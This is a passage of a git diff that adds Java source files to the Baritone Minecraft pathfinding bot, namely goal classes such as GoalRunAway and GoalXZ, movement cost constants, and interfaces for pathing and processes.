heuristic(x + dx, y + dy, z + dz); + if (h < minOutside && isInGoal(x + dx, y + dy, z + dz)) { + maybeAlwaysInside.add(h); + } else { + minOutside = Math.min(minOutside, h); + } + } + } + } + double maxInside = Double.NEGATIVE_INFINITY; + DoubleIterator it = maybeAlwaysInside.iterator(); + while (it.hasNext()) { + double inside = it.nextDouble(); + if (inside < minOutside) { + maxInside = Math.max(maxInside, inside); + } + } + return maxInside; + } + + @Override + public BlockPos getGoalPos() { + return new BlockPos(x, y, z); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalNear goal = (GoalNear) o; + return x == goal.x + && y == goal.y + && z == goal.z + && rangeSq == goal.rangeSq; + } + + @Override + public int hashCode() { + return (int) BetterBlockPos.longHash(x, y, z) + rangeSq; + } + + @Override + public String toString() { + return String.format( + "GoalNear{x=%s, y=%s, z=%s, rangeSq=%d}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z), + rangeSq + ); + } +} diff --git a/src/baritone/api/pathing/goals/GoalRunAway.java b/src/baritone/api/pathing/goals/GoalRunAway.java new file mode 100644 index 00000000..1e65d30f --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalRunAway.java @@ -0,0 +1,163 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.SettingsUtil; +import it.unimi.dsi.fastutil.doubles.DoubleIterator; +import it.unimi.dsi.fastutil.doubles.DoubleOpenHashSet; +import net.minecraft.util.math.BlockPos; + +import java.util.Arrays; +import java.util.Objects; + +/** + * Useful for automated combat (retreating specifically) + * + * @author leijurv + */ +public class GoalRunAway implements Goal { + + private final BlockPos[] from; + + private final int distanceSq; + + private final Integer maintainY; + + public GoalRunAway(double distance, BlockPos... from) { + this(distance, null, from); + } + + public GoalRunAway(double distance, Integer maintainY, BlockPos... from) { + if (from.length == 0) { + throw new IllegalArgumentException(); + } + this.from = from; + this.distanceSq = (int) (distance * distance); + this.maintainY = maintainY; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + if (maintainY != null && maintainY != y) { + return false; + } + for (BlockPos p : from) { + int diffX = x - p.getX(); + int diffZ = z - p.getZ(); + int distSq = diffX * diffX + diffZ * diffZ; + if (distSq < distanceSq) { + return false; + } + } + return true; + } + + @Override + public double heuristic(int x, int y, int z) {// mostly copied from GoalBlock + double min = Double.MAX_VALUE; + for (BlockPos p : from) { + double h = GoalXZ.calculate(p.getX() - x, p.getZ() - z); + if (h < min) { + min = h; + } + } + min = -min; + if (maintainY != null) { + min = min * 0.6 + GoalYLevel.calculate(maintainY, y) * 1.5; + } + return min; + } + + @Override + public double heuristic() {// TODO less hacky solution + int distance = (int) Math.ceil(Math.sqrt(distanceSq)); + int minX = Integer.MAX_VALUE; + int minY = Integer.MAX_VALUE; + int minZ = Integer.MAX_VALUE; + int maxX = Integer.MIN_VALUE; + int maxY = Integer.MIN_VALUE; + int maxZ = Integer.MIN_VALUE; + for (BlockPos p : from) { + minX = Math.min(minX, p.getX() - distance); + minY = Math.min(minY, p.getY() - distance); + minZ = Math.min(minZ, p.getZ() - distance); + maxX = Math.max(minX, p.getX() + distance); + maxY = Math.max(minY, p.getY() + distance); + maxZ = Math.max(minZ, p.getZ() + distance); + } + DoubleOpenHashSet maybeAlwaysInside = new DoubleOpenHashSet(); // see pull request #1978 + double minOutside = Double.POSITIVE_INFINITY; + for (int x = minX; x <= maxX; x++) { + for (int y = minY; y <= maxY; y++) { + for (int z = minZ; z <= maxZ; z++) { + double h = heuristic(x, y, z); + if (h < minOutside && isInGoal(x, y, z)) { + maybeAlwaysInside.add(h); + } else { + minOutside = Math.min(minOutside, h); + } + } + } + } + double maxInside = Double.NEGATIVE_INFINITY; + DoubleIterator it = maybeAlwaysInside.iterator(); + while (it.hasNext()) { + double inside = it.nextDouble(); + if (inside < minOutside) { + maxInside = Math.max(maxInside, inside); + } + } + return maxInside; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalRunAway goal = (GoalRunAway) o; + return distanceSq == goal.distanceSq + && Arrays.equals(from, goal.from) + && Objects.equals(maintainY, goal.maintainY); + } + + @Override + public int hashCode() { + int hash = Arrays.hashCode(from); + hash = hash * 1196803141 + distanceSq; + hash = hash * -2053788840 + maintainY; + return hash; + } + + @Override + public String toString() { + if (maintainY != null) { + return String.format( + "GoalRunAwayFromMaintainY y=%s, %s", + SettingsUtil.maybeCensor(maintainY), + Arrays.asList(from) + ); + } else { + return "GoalRunAwayFrom" + Arrays.asList(from); + } + } +} diff --git a/src/baritone/api/pathing/goals/GoalStrictDirection.java b/src/baritone/api/pathing/goals/GoalStrictDirection.java new file mode 100644 index 00000000..00f3db23 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalStrictDirection.java @@ -0,0 +1,109 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import net.minecraft.util.Direction; +import net.minecraft.util.math.BlockPos; + +/** + * Dig a tunnel in a certain direction, but if you have to deviate from the path, go back to where you started + */ +public class GoalStrictDirection implements Goal { + + public final int x; + public final int y; + public final int z; + public final int dx; + public final int dz; + + public GoalStrictDirection(BlockPos origin, Direction direction) { + x = origin.getX(); + y = origin.getY(); + z = origin.getZ(); + dx = direction.getXOffset(); + dz = direction.getZOffset(); + if (dx == 0 && dz == 0) { + throw new IllegalArgumentException(direction + ""); + } + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return false; + } + + @Override + public double heuristic(int x, int y, int z) { + int distanceFromStartInDesiredDirection = (x - this.x) * dx + (z - this.z) * dz; + + int distanceFromStartInIncorrectDirection = Math.abs((x - this.x) * dz) + Math.abs((z - this.z) * dx); + + int verticalDistanceFromStart = Math.abs(y - this.y); + + // we want heuristic to decrease as desiredDirection increases + double heuristic = -distanceFromStartInDesiredDirection * 100; + + heuristic += distanceFromStartInIncorrectDirection * 1000; + heuristic += verticalDistanceFromStart * 1000; + return heuristic; + } + + @Override + public double heuristic() { + return Double.NEGATIVE_INFINITY; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalStrictDirection goal = (GoalStrictDirection) o; + return x == goal.x + && y == goal.y + && z == goal.z + && dx == goal.dx + && dz == goal.dz; + } + + @Override + public int hashCode() { + int hash = (int) BetterBlockPos.longHash(x, y, z); + hash = hash * 630627507 + dx; + hash = hash * -283028380 + dz; + return hash; + } + + @Override + public String toString() { + return String.format( + "GoalStrictDirection{x=%s, y=%s, z=%s, dx=%s, dz=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z), + SettingsUtil.maybeCensor(dx), + SettingsUtil.maybeCensor(dz) + ); + } +} diff --git a/src/baritone/api/pathing/goals/GoalTwoBlocks.java b/src/baritone/api/pathing/goals/GoalTwoBlocks.java new file mode 100644 index 00000000..475d6e97 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalTwoBlocks.java @@ -0,0 +1,105 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import baritone.api.utils.interfaces.IGoalRenderPos; +import net.minecraft.util.math.BlockPos; + +/** + * Useful if the goal is just to mine a block. This goal will be satisfied if the specified + * {@link BlockPos} is at to or above the specified position for this goal. + * + * @author leijurv + */ +public class GoalTwoBlocks implements Goal, IGoalRenderPos { + + /** + * The X block position of this goal + */ + protected final int x; + + /** + * The Y block position of this goal + */ + protected final int y; + + /** + * The Z block position of this goal + */ + protected final int z; + + public GoalTwoBlocks(BlockPos pos) { + this(pos.getX(), pos.getY(), pos.getZ()); + } + + public GoalTwoBlocks(int x, int y, int z) { + this.x = x; + this.y = y; + this.z = z; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return x == this.x && (y == this.y || y == this.y - 1) && z == this.z; + } + + @Override + public double heuristic(int x, int y, int z) { + int xDiff = x - this.x; + int yDiff = y - this.y; + int zDiff = z - this.z; + return GoalBlock.calculate(xDiff, yDiff < 0 ? yDiff + 1 : yDiff, zDiff); + } + + @Override + public BlockPos getGoalPos() { + return new BlockPos(x, y, z); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalTwoBlocks goal = (GoalTwoBlocks) o; + return x == goal.x + && y == goal.y + && z == goal.z; + } + + @Override + public int hashCode() { + return (int) BetterBlockPos.longHash(x, y, z) * 516508351; + } + + @Override + public String toString() { + return String.format( + "GoalTwoBlocks{x=%s,y=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(y), + SettingsUtil.maybeCensor(z) + ); + } +} diff --git a/src/baritone/api/pathing/goals/GoalXZ.java b/src/baritone/api/pathing/goals/GoalXZ.java new file mode 100644 index 00000000..51768635 --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalXZ.java @@ -0,0 +1,132 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.BaritoneAPI; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.SettingsUtil; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.math.vector.Vector3d; + +/** + * Useful for long-range goals that don't have a specific Y level. + * + * @author leijurv + */ +public class GoalXZ implements Goal { + + private static final double SQRT_2 = Math.sqrt(2); + + /** + * The X block position of this goal + */ + private final int x; + + /** + * The Z block position of this goal + */ + private final int z; + + public GoalXZ(int x, int z) { + this.x = x; + this.z = z; + } + + public GoalXZ(BetterBlockPos pos) { + this.x = pos.x; + this.z = pos.z; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return x == this.x && z == this.z; + } + + @Override + public double heuristic(int x, int y, int z) {//mostly copied from GoalBlock + int xDiff = x - this.x; + int zDiff = z - this.z; + return calculate(xDiff, zDiff); + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalXZ goal = (GoalXZ) o; + return x == goal.x && z == goal.z; + } + + @Override + public int hashCode() { + int hash = 1791873246; + hash = hash * 222601791 + x; + hash = hash * -1331679453 + z; + return hash; + } + + @Override + public String toString() { + return String.format( + "GoalXZ{x=%s,z=%s}", + SettingsUtil.maybeCensor(x), + SettingsUtil.maybeCensor(z) + ); + } + + public static double calculate(double xDiff, double zDiff) { + //This is a combination of pythagorean and manhattan distance + //It takes into account the fact that pathing can either walk diagonally or forwards + + //It's not possible to walk forward 1 and right 2 in sqrt(5) time + //It's really 1+sqrt(2) because it'll walk forward 1 then diagonally 1 + double x = Math.abs(xDiff); + double z = Math.abs(zDiff); + double straight; + double diagonal; + if (x < z) { + straight = z - x; + diagonal = x; + } else { + straight = x - z; + diagonal = z; + } + diagonal *= SQRT_2; + return (diagonal + straight) * BaritoneAPI.getSettings().costHeuristic.value; // big TODO tune + } + + public static GoalXZ fromDirection(Vector3d origin, float yaw, double distance) { + float theta = (float) Math.toRadians(yaw); + double x = origin.x - MathHelper.sin(theta) * distance; + double z = origin.z + MathHelper.cos(theta) * distance; + return new GoalXZ(MathHelper.floor(x), MathHelper.floor(z)); + } + + public int getX() { + return x; + } + + public int getZ() { + return z; + } +} diff --git a/src/baritone/api/pathing/goals/GoalYLevel.java b/src/baritone/api/pathing/goals/GoalYLevel.java new file mode 100644 index 00000000..442906ad --- /dev/null +++ b/src/baritone/api/pathing/goals/GoalYLevel.java @@ -0,0 +1,86 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.goals; + +import baritone.api.pathing.movement.ActionCosts; +import baritone.api.utils.SettingsUtil; + +/** + * Useful for mining (getting to diamond / iron level) + * + * @author leijurv + */ +public class GoalYLevel implements Goal, ActionCosts { + + /** + * The target Y level + */ + public final int level; + + public GoalYLevel(int level) { + this.level = level; + } + + @Override + public boolean isInGoal(int x, int y, int z) { + return y == level; + } + + @Override + public double heuristic(int x, int y, int z) { + return calculate(level, y); + } + + public static double calculate(int goalY, int currentY) { + if (currentY > goalY) { + // need to descend + return FALL_N_BLOCKS_COST[2] / 2 * (currentY - goalY); + } + if (currentY < goalY) { + // need to ascend + return (goalY - currentY) * JUMP_ONE_BLOCK_COST; + } + return 0; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + GoalYLevel goal = (GoalYLevel) o; + return level == goal.level; + } + + @Override + public int hashCode() { + return level * 1271009915; + } + + @Override + public String toString() { + return String.format( + "GoalYLevel{y=%s}", + SettingsUtil.maybeCensor(level) + ); + } +} diff --git a/src/baritone/api/pathing/movement/ActionCosts.java b/src/baritone/api/pathing/movement/ActionCosts.java new file mode 100644 index 00000000..683b1b10 --- /dev/null +++ b/src/baritone/api/pathing/movement/ActionCosts.java @@ -0,0 +1,98 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.movement; + +public interface ActionCosts { + + /** + * These costs are measured roughly in ticks btw + */ + double WALK_ONE_BLOCK_COST = 20 / 4.317; // 4.633 + double WALK_ONE_IN_WATER_COST = 20 / 2.2; // 9.091 + double WALK_ONE_OVER_SOUL_SAND_COST = WALK_ONE_BLOCK_COST * 2; // 0.4 in BlockSoulSand but effectively about half + double LADDER_UP_ONE_COST = 20 / 2.35; // 8.511 + double LADDER_DOWN_ONE_COST = 20 / 3.0; // 6.667 + double SNEAK_ONE_BLOCK_COST = 20 / 1.3; // 15.385 + double SPRINT_ONE_BLOCK_COST = 20 / 5.612; // 3.564 + double SPRINT_MULTIPLIER = SPRINT_ONE_BLOCK_COST / WALK_ONE_BLOCK_COST; // 0.769 + /** + * To walk off an edge you need to walk 0.5 to the edge then 0.3 to start falling off + */ + double WALK_OFF_BLOCK_COST = WALK_ONE_BLOCK_COST * 0.8; // 3.706 + /** + * To walk the rest of the way to be centered on the new block + */ + double CENTER_AFTER_FALL_COST = WALK_ONE_BLOCK_COST - WALK_OFF_BLOCK_COST; // 0.927 + + /** + * don't make this Double.MAX_VALUE because it's added to other things, maybe other COST_INFs, + * and that would make it overflow to negative + */ + double COST_INF = 1000000; + + double[] FALL_N_BLOCKS_COST = generateFallNBlocksCost(); + + double FALL_1_25_BLOCKS_COST = distanceToTicks(1.25); + double FALL_0_25_BLOCKS_COST = distanceToTicks(0.25); + /** + * When you hit space, you get enough upward velocity to go 1.25 blocks + * Then, you fall the remaining 0.25 to get on the surface, on block higher. + * Since parabolas are symmetric, the amount of time it takes to ascend up from 1 to 1.25 + * will be the same amount of time that it takes to fall back down from 1.25 to 1. + * And the same applies to the overall shape, if it takes X ticks to fall back down 1.25 blocks, + * it will take X ticks to reach the peak of your 1.25 block leap. + * Therefore, the part of your jump from y=0 to y=1.25 takes distanceToTicks(1.25) ticks, + * and the sub-part from y=1 to y=1.25 takes distanceToTicks(0.25) ticks. + * Therefore, the other sub-part, from y=0 to y-1, takes distanceToTicks(1.25)-distanceToTicks(0.25) ticks. + * That's why JUMP_ONE_BLOCK_COST = FALL_1_25_BLOCKS_COST - FALL_0_25_BLOCKS_COST + */ + double JUMP_ONE_BLOCK_COST = FALL_1_25_BLOCKS_COST - FALL_0_25_BLOCKS_COST; + + + static double[] generateFallNBlocksCost() { + double[] costs = new double[257]; + for (int i = 0; i < 257; i++) { + costs[i] = distanceToTicks(i); + } + return costs; + } + + static double velocity(int ticks) { + return (Math.pow(0.98, ticks) - 1) * -3.92; + } + + static double oldFormula(double ticks) { + return -3.92 * (99 - 49.5 * (Math.pow(0.98, ticks) + 1) - ticks); + } + + static double distanceToTicks(double distance) { + if (distance == 0) { + return 0; // Avoid 0/0 NaN + } + double tmpDistance = distance; + int tickCount = 0; + while (true) { + double fallDistance = velocity(tickCount); + if (tmpDistance <= fallDistance) { + return tickCount + tmpDistance / fallDistance; + } + tmpDistance -= fallDistance; + tickCount++; + } + } +} diff --git a/src/baritone/api/pathing/movement/IMovement.java b/src/baritone/api/pathing/movement/IMovement.java new file mode 100644 index 00000000..dae8668d --- /dev/null +++ b/src/baritone/api/pathing/movement/IMovement.java @@ -0,0 +1,55 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.movement; + +import baritone.api.utils.BetterBlockPos; +import net.minecraft.util.math.BlockPos; + +/** + * @author Brady + * @since 10/8/2018 + */ +public interface IMovement { + + double getCost(); + + MovementStatus update(); + + /** + * Resets the current state status to {@link MovementStatus#PREPPING} + */ + void reset(); + + /** + * Resets the cache for special break, place, and walk into blocks + */ + void resetBlockCache(); + + /** + * @return Whether or not it is safe to cancel the current movement state + */ + boolean safeToCancel(); + + boolean calculatedWhileLoaded(); + + BetterBlockPos getSrc(); + + BetterBlockPos getDest(); + + BlockPos getDirection(); +} diff --git a/src/baritone/api/pathing/movement/MovementStatus.java b/src/baritone/api/pathing/movement/MovementStatus.java new file mode 100644 index 00000000..0190f8e1 --- /dev/null +++ b/src/baritone/api/pathing/movement/MovementStatus.java @@ -0,0 +1,74 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.movement; + +/** + * @author Brady + * @since 10/8/2018 + */ +public enum MovementStatus { + + /** + * We are preparing the movement to be executed. This is when any blocks obstructing the destination are broken. + */ + PREPPING(false), + + /** + * We are waiting for the movement to begin, after {@link MovementStatus#PREPPING}. + */ + WAITING(false), + + /** + * The movement is currently in progress, after {@link MovementStatus#WAITING} + */ + RUNNING(false), + + /** + * The movement has been completed and we are at our destination + */ + SUCCESS(true), + + /** + * There was a change in state between calculation and actual + * movement execution, and the movement has now become impossible. + */ + UNREACHABLE(true), + + /** + * Unused + */ + FAILED(true), + + /** + * "Unused" + */ + CANCELED(true); + + /** + * Whether or not this status indicates a complete movement. + */ + private final boolean complete; + + MovementStatus(boolean complete) { + this.complete = complete; + } + + public final boolean isComplete() { + return this.complete; + } +} diff --git a/src/baritone/api/pathing/path/IPathExecutor.java b/src/baritone/api/pathing/path/IPathExecutor.java new file mode 100644 index 00000000..a5c3108e --- /dev/null +++ b/src/baritone/api/pathing/path/IPathExecutor.java @@ -0,0 +1,31 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.pathing.path; + +import baritone.api.pathing.calc.IPath; + +/** + * @author Brady + * @since 10/8/2018 + */ +public interface IPathExecutor { + + IPath getPath(); + + int getPosition(); +} diff --git a/src/baritone/api/process/IBaritoneProcess.java b/src/baritone/api/process/IBaritoneProcess.java new file mode 100644 index 00000000..9c62d203 --- /dev/null +++ b/src/baritone/api/process/IBaritoneProcess.java @@ -0,0 +1,114 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.behavior.IPathingBehavior; +import baritone.api.event.events.PathEvent; + +/** + * A process that can control the PathingBehavior. + *

+ * Differences between a baritone process and a behavior: + *

    + *
  • Only one baritone process can be active at a time
  • + *
  • PathingBehavior can only be controlled by a process
  • + *
+ *

+ * That's it actually + * + * @author leijurv + */ +public interface IBaritoneProcess { + + /** + * Default priority. Most normal processes should have this value. + *

+ * Some examples of processes that should have different values might include some kind of automated mob avoidance + * that would be temporary and would forcefully take control. Same for something that pauses pathing for auto eat, etc. + *

+ * The value is -1 beacuse that's what Impact 4.5's beta auto walk returns and I want to tie with it. + */ + double DEFAULT_PRIORITY = -1; + + /** + * Would this process like to be in control? + * + * @return Whether or not this process would like to be in contorl. + */ + boolean isActive(); + + /** + * Called when this process is in control of pathing; Returns what Baritone should do. + * + * @param calcFailed {@code true} if this specific process was in control last tick, + * and there was a {@link PathEvent#CALC_FAILED} event last tick + * @param isSafeToCancel {@code true} if a {@link PathingCommandType#REQUEST_PAUSE} would happen this tick, and + * {@link IPathingBehavior} wouldn't actually tick. {@code false} if the PathExecutor reported + * pausing would be unsafe at the end of the last tick. Effectively "could request cancel or + * pause and have it happen right away" + * @return What the {@link IPathingBehavior} should do + */ + PathingCommand onTick(boolean calcFailed, boolean isSafeToCancel); + + /** + * Returns whether or not this process should be treated as "temporary". + *

+ * If a process is temporary, it doesn't call {@link #onLostControl} on the processes that aren't execute because of it. + *

+ * For example, {@code CombatPauserProcess} and {@code PauseForAutoEatProcess} should return {@code true} always, + * and should return {@link #isActive} {@code true} only if there's something in range this tick, or if the player would like + * to start eating this tick. {@code PauseForAutoEatProcess} should only actually right click once onTick is called with + * {@code isSafeToCancel} true though. + * + * @return Whether or not if this control is temporary + */ + boolean isTemporary(); + + /** + * Called if {@link #isActive} returned {@code true}, but another non-temporary + * process has control. Effectively the same as cancel. You want control but you + * don't get it. + */ + void onLostControl(); + + /** + * Used to determine which Process gains control if multiple are reporting {@link #isActive()}. The one + * that returns the highest value will be given control. + * + * @return A double representing the priority + */ + default double priority() { + return DEFAULT_PRIORITY; + } + + /** + * Returns a user-friendly name for this process. Suitable for a HUD. + * + * @return A display name that's suitable for a HUD + */ + default String displayName() { + if (!isActive()) { + // i love it when impcat's scuffed HUD calls displayName for inactive processes for 1 tick too long + // causing NPEs when the displayname relies on fields that become null when inactive + return "INACTIVE"; + } + return displayName0(); + } + + String displayName0(); +} diff --git a/src/baritone/api/process/IBuilderProcess.java b/src/baritone/api/process/IBuilderProcess.java new file mode 100644 index 00000000..519bfd85 --- /dev/null +++ b/src/baritone/api/process/IBuilderProcess.java @@ -0,0 +1,78 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.schematic.ISchematic; +import net.minecraft.block.BlockState; +import net.minecraft.client.Minecraft; +import net.minecraft.util.math.BlockPos; +import net.minecraft.util.math.vector.Vector3i; + +import java.io.File; +import java.util.List; + +/** + * @author Brady + * @since 1/15/2019 + */ +public interface IBuilderProcess extends IBaritoneProcess { + + /** + * Requests a build for the specified schematic, labeled as specified, with the specified origin. + * + * @param name A user-friendly name for the schematic + * @param schematic The object representation of the schematic + * @param origin The origin position of the schematic being built + */ + void build(String name, ISchematic schematic, Vector3i origin); + + /** + * Requests a build for the specified schematic, labeled as specified, with the specified origin. + * + * @param name A user-friendly name for the schematic + * @param schematic The file path of the schematic + * @param origin The origin position of the schematic being built + * @return Whether or not the schematic was able to load from file + */ + boolean build(String name, File schematic, Vector3i origin); + + @Deprecated + default boolean build(String schematicFile, BlockPos origin) { + File file = new File(new File(Minecraft.getInstance().gameDir, "schematics"), schematicFile); + return build(schematicFile, file, origin); + } + + void buildOpenSchematic(); + + void buildOpenLitematic(int i); + + void pause(); + + boolean isPaused(); + + void resume(); + + void clearArea(BlockPos corner1, BlockPos corner2); + + /** + * @return A list of block states that are estimated to be placeable by this builder process. You can use this in + * schematics, for example, to pick a state that the builder process will be happy with, because any variation will + * cause it to give up. This is updated every tick, but only while the builder process is active. + */ + List getApproxPlaceable(); +} diff --git a/src/baritone/api/process/ICustomGoalProcess.java b/src/baritone/api/process/ICustomGoalProcess.java new file mode 100644 index 00000000..5084aff2 --- /dev/null +++ b/src/baritone/api/process/ICustomGoalProcess.java @@ -0,0 +1,50 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import baritone.api.pathing.goals.Goal; + +public interface ICustomGoalProcess extends IBaritoneProcess { + + /** + * Sets the pathing goal + * + * @param goal The new goal + */ + void setGoal(Goal goal); + + /** + * Starts path calculation and execution. + */ + void path(); + + /** + * @return The current goal + */ + Goal getGoal(); + + /** + * Sets the goal and begins the path execution. + * + * @param goal The new goal + */ + default void setGoalAndPath(Goal goal) { + this.setGoal(goal); + this.path(); + } +} diff --git a/src/baritone/api/process/IExploreProcess.java b/src/baritone/api/process/IExploreProcess.java new file mode 100644 index 00000000..4950d31d --- /dev/null +++ b/src/baritone/api/process/IExploreProcess.java @@ -0,0 +1,27 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.api.process; + +import java.nio.file.Path; + +public interface IExploreProcess extends IBaritoneProcess { + + void explore(int centerX, int centerZ); + + void 